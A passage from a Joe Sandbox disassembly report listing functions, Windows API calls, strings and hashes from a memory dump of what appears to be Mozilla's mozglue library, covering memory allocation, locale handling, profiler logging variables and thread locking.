?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C825C8C,?,6C7FE829), ref: 6C825D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C825C8C,?,6C7FE829), ref: 6C825D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C825C8C,?,6C7FE829), ref: 6C825D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C825C8C,?,6C7FE829), ref: 6C825D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C825C8C,?,6C7FE829), ref: 6C825DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C825C8C,?,6C7FE829), ref: 6C825DC9
std::_Facet_Register.LIBCPMT ref: 6C825DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C825C8C,?,6C7FE829), ref: 6C825E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C825C8C,?,6C7FE829), ref: 6C825E45

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 59066340d0a318595fc50b211cfd42d6d46948be1521aceb619e5a1e388779a1
Instruction ID: 1be0526c2b6b88d586ed355c39119adab12d881611d516d544870c92c8afc610
Opcode Fuzzy Hash: 59066340d0a318595fc50b211cfd42d6d46948be1521aceb619e5a1e388779a1
Instruction Fuzzy Hash: C9418E747403059FCB20EFA9C99CAAE77B5AF88319F544478E50A97781EB34A845CB90

Function 6C7FCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C7C31A7), ref: 6C7FCDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C7FCFA4, 6C7FCFB8
<jemalloc>, xrefs: 6C7FCF9F, 6C7FCFB3

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: caff1c5360ed29539e2218008d99adb33931afefeef5e1a7748379f5206177d8
Instruction ID: 626c7adc5652225b7f20052d69f71549f59592d1214e36e5c970371d2fe2ee0f
Opcode Fuzzy Hash: caff1c5360ed29539e2218008d99adb33931afefeef5e1a7748379f5206177d8
Instruction Fuzzy Hash: E931A8317402055BFB34AFA58E85BAE7BB9AB8171DF208425F524AB780D770D501C791

Function 6C7CECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7CF100: LoadLibraryW.KERNEL32(shell32,?,6C83D020), ref: 6C7CF122
Part of subcall function 6C7CF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C7CF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C7CED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7CEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C7CEDCC
CreateFileW.KERNEL32 ref: 6C7CEE08
free.MOZGLUE(00000000), ref: 6C7CEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C7CEE32

Part of subcall function 6C7CEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C7CEBB5
Part of subcall function 6C7CEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C7FD7F3), ref: 6C7CEBC3
Part of subcall function 6C7CEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C7FD7F3), ref: 6C7CEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C7CEDC1

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 84a90eb0dd25d6553aa3a475b177ee66c6be1d07c32a19736a3ec010777fd33d
Instruction ID: 64787816fdcc8dbba2ca4ea29ff3e95534925d58a1ed6551e3af7322aa9d60e8
Opcode Fuzzy Hash: 84a90eb0dd25d6553aa3a475b177ee66c6be1d07c32a19736a3ec010777fd33d
Instruction Fuzzy Hash: 5D51F371E052198FEB10DF68CA4A6EEB7B4AF5935CF04882DE8556B740E7306948C7E3

Function 6C83A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C83A565

Part of subcall function 6C83A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C83A4BE
Part of subcall function 6C83A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C83A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C83A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C83A6B6

Strings

z, xrefs: 6C83A6AE
0, xrefs: 6C83A5FB

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: b7073272a713dd771a93815395b848cc2646efa30fe7a36f1535bf83d8251ac1
Instruction ID: ff403028df6da46949c1d2004043eb82c790b2d4ec478100f546d73a59205738
Opcode Fuzzy Hash: b7073272a713dd771a93815395b848cc2646efa30fe7a36f1535bf83d8251ac1
Instruction Fuzzy Hash: 0C415971A087459FC751DF68C080A8FBBE4BF89344F40AA2EF49987650E730E949CB83

Function 6C809420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C7FAB89: EnterCriticalSection.KERNEL32(6C84E370,?,?,?,6C7C34DE,6C84F6CC,?,?,?,?,?,?,?,6C7C3284), ref: 6C7FAB94
Part of subcall function 6C7FAB89: LeaveCriticalSection.KERNEL32(6C84E370,?,6C7C34DE,6C84F6CC,?,?,?,?,?,?,?,6C7C3284,?,?,6C7E56F6), ref: 6C7FABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7D4A68), ref: 6C80945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C809470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C809482
__Init_thread_footer.LIBCMT ref: 6C80949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C80947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C809459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C80946B

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: d1156793dc109813ffd3b75b0231f171c69dc90c493d5d63f40338e268f35d13
Instruction ID: 15525245f911cd7408ebf9cf4faab8941e46b3c426dbe7cce1886ba5719ecd62
Opcode Fuzzy Hash: d1156793dc109813ffd3b75b0231f171c69dc90c493d5d63f40338e268f35d13
Instruction Fuzzy Hash: 1901D870B0050587E730AB5CDE15A4733B9AB1637DF05CD3BE90686B41EA21D465C99B

Function 6C810F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C810F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C810F88
GetCurrentThreadId.KERNEL32 ref: 6C810FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C811067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C8110A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C81114B

Part of subcall function 6C808AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C821563), ref: 6C808BD5

free.MOZGLUE(?), ref: 6C811174
free.MOZGLUE(?), ref: 6C811186

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: ebe78f7638f68a3a11bd0e51fdc4514b5753704d15a6fc9ef14b4b4b02a80e96
Instruction ID: 98b74b2f3740a4670357ed0a26e8615982063df0c094f61da53991b0de02b356
Opcode Fuzzy Hash: ebe78f7638f68a3a11bd0e51fdc4514b5753704d15a6fc9ef14b4b4b02a80e96
Instruction Fuzzy Hash: 0361D275A083458BDB20DF24CA84B9AB7F5BFD5318F04892DE88947B11EB31E849CB81

Function 6C7CB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C7CB61E,?,?,?,?,?,00000000), ref: 6C7CB6AC

Part of subcall function 6C7DCA10: malloc.MOZGLUE(?), ref: 6C7DCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C7CB61E,?,?,?,?,?,00000000), ref: 6C7CB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C7CB61E,?,?,?,?,?,00000000), ref: 6C7CB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C7CB61E,?,?,?,?,?,00000000), ref: 6C7CB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C7CB61E,?,?,?,?,?,00000000), ref: 6C7CB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C7CB61E), ref: 6C7CB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C7CB61E,?,?,?,?,?,00000000), ref: 6C7CB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C7CB61E,?,?,?,?,?,00000000), ref: 6C7CB79A

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 3c1a0b3ecfaa20cd0b5109a35eb9a40148a03a1b7ab6c17e556e477b5a2389d5
Instruction ID: d9104509f2d532ee6c1e333a27497899296cac316590aeaecc3e94005c447efe
Opcode Fuzzy Hash: 3c1a0b3ecfaa20cd0b5109a35eb9a40148a03a1b7ab6c17e556e477b5a2389d5
Instruction Fuzzy Hash: FD41C5B2E001168FCB10DF78DD805AEB7B5BB94324F25066AFC25E7781D731A91487E2

Function 6C7CEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C845104), ref: 6C7CEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C7CEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7CEFEC
free.MOZGLUE(?), ref: 6C7CF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C7CF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C7CF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7CF065
moz_xmalloc.MOZGLUE ref: 6C7CF072

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: fff962211ec207a97f5b0e6715971f0aea40052cf93bb91d9da9864b4c82acee
Instruction ID: 79b21b77a068ad5e32b1e642a5a824448f24180d8e40e99dd1d2abbb372ba125
Opcode Fuzzy Hash: fff962211ec207a97f5b0e6715971f0aea40052cf93bb91d9da9864b4c82acee
Instruction Fuzzy Hash: 5341E3B1B002169FCB18CF68D9819AE7369BF84324B244638E815DB795EB31E905C7E2

Function 6C83B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C83B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C83B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C83B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C83B5F4
__Init_thread_footer.LIBCMT ref: 6C83B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C83B61F
std::_Facet_Register.LIBCPMT ref: 6C83B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C83B655

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: ee66d7f76e981bff00d91cffd9fa9eda318fb1f079af66e0ee3ba1fefc40136f
Instruction ID: 7f4a288d521e731deacd3dac47249a9c83af661f351d9e83d383b1b4ab9369db
Opcode Fuzzy Hash: ee66d7f76e981bff00d91cffd9fa9eda318fb1f079af66e0ee3ba1fefc40136f
Instruction Fuzzy Hash: 4531B771B00514CBCB20EFA8C9986BEB7B5FF9532EB144979D91697740DB30A806CBD1

Function 6C7FD5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C7CEB57,?,?,?,?,?,?,?,?,?), ref: 6C7FD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C7CEB57,?), ref: 6C7FD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C7CEB57,?), ref: 6C7FD673
free.MOZGLUE(?), ref: 6C7FD888

Strings

|Enabled, xrefs: 6C7FD81E
W|l, xrefs: 6C7FD5D9, 6C7FD63F

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: W|l$|Enabled
API String ID: 4142949111-3900331817
Opcode ID: 383735bf2e8499a55c4228b6eca5755f7fab6e7e30048c821128c6baeb4f2d0a
Instruction ID: ebe8b88f19bb884143f8fd01405ec4a0d944e1a21869c1abcda54d5156e5b7dd
Opcode Fuzzy Hash: 383735bf2e8499a55c4228b6eca5755f7fab6e7e30048c821128c6baeb4f2d0a
Instruction Fuzzy Hash: E0A11670A043098FDB11CF69C6D47EEBBF1AF59318F14806CD8A9AB741D731A846CBA5

Function 6C7D9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C827ABE), ref: 6C7D985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C827ABE), ref: 6C7D98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C7D9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C7D9918
free.MOZGLUE(?), ref: 6C7D9975

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: c3147fe33ed585db5fc448fccdab764795204edd32df6081671a23dac432911a
Instruction ID: 0e5c049acc7b433f1c8ce7c46e94d027d0811a4a68e3e8ae1b3837083ebcd2e5
Opcode Fuzzy Hash: c3147fe33ed585db5fc448fccdab764795204edd32df6081671a23dac432911a
Instruction Fuzzy Hash: DF71BB756007058FC724CF28C590956BBF1FF9A328B254AADD85A8BB91DB31F841CB90

Function 6C7DB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C81CC83,?,?,?,?,?,?,?,?,?,6C81BCAE,?,?,6C80DC2C), ref: 6C7DB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C81CC83,?,?,?,?,?,?,?,?,?,6C81BCAE,?,?,6C80DC2C), ref: 6C7DB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C81CC83,?,?,?,?,?,?,?,?,?,6C81BCAE), ref: 6C7DB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C81CC83,?,?,?,?,?,?,?,?,?,6C81BCAE,?,?,6C80DC2C), ref: 6C7DB896

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 3a35f97183a9d440f7f6c0bbf578297b7dfefe2c8e14a6eae9a92b1c42192268
Instruction ID: 0dc95fa7d4f69f3a2772ca11350428fb09dff16a353a817097272a298a71b267
Opcode Fuzzy Hash: 3a35f97183a9d440f7f6c0bbf578297b7dfefe2c8e14a6eae9a92b1c42192268
Instruction Fuzzy Hash: B15167357006008FCB24DF59C694A2ABBF5FF89318F6A85A9E98A97341C731F841CB80

Function 6C811D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C811D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C811BE3,?,?,6C811D96,00000000), ref: 6C811D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C811BE3,?,?,6C811D96,00000000), ref: 6C811D4C
GetCurrentThreadId.KERNEL32 ref: 6C811DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C811DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C811DDA

Part of subcall function 6C811EF0: GetCurrentThreadId.KERNEL32 ref: 6C811F03
Part of subcall function 6C811EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C811DF2,00000000,00000000), ref: 6C811F0C
Part of subcall function 6C811EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C811F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C811DF4

Part of subcall function 6C7DCA10: malloc.MOZGLUE(?), ref: 6C7DCA26

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: b39e59377c4ef7d545d48990eba22fddc4402cafc6465a5f24431dcea03e8883
Instruction ID: 566a5fc32d638b4cbeec9e2af2808c56a50927ef605ac8fd85cbb1cb085aeff0
Opcode Fuzzy Hash: b39e59377c4ef7d545d48990eba22fddc4402cafc6465a5f24431dcea03e8883
Instruction Fuzzy Hash: 75417BB52007059FCB20DF29C588A5ABBF5FF89319F10846EE95A87B41DB71F814CB91

Function 6C8084E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8084F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C80850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C80851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C80855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C80856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8085AC

Part of subcall function 6C807670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C8085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C80767F
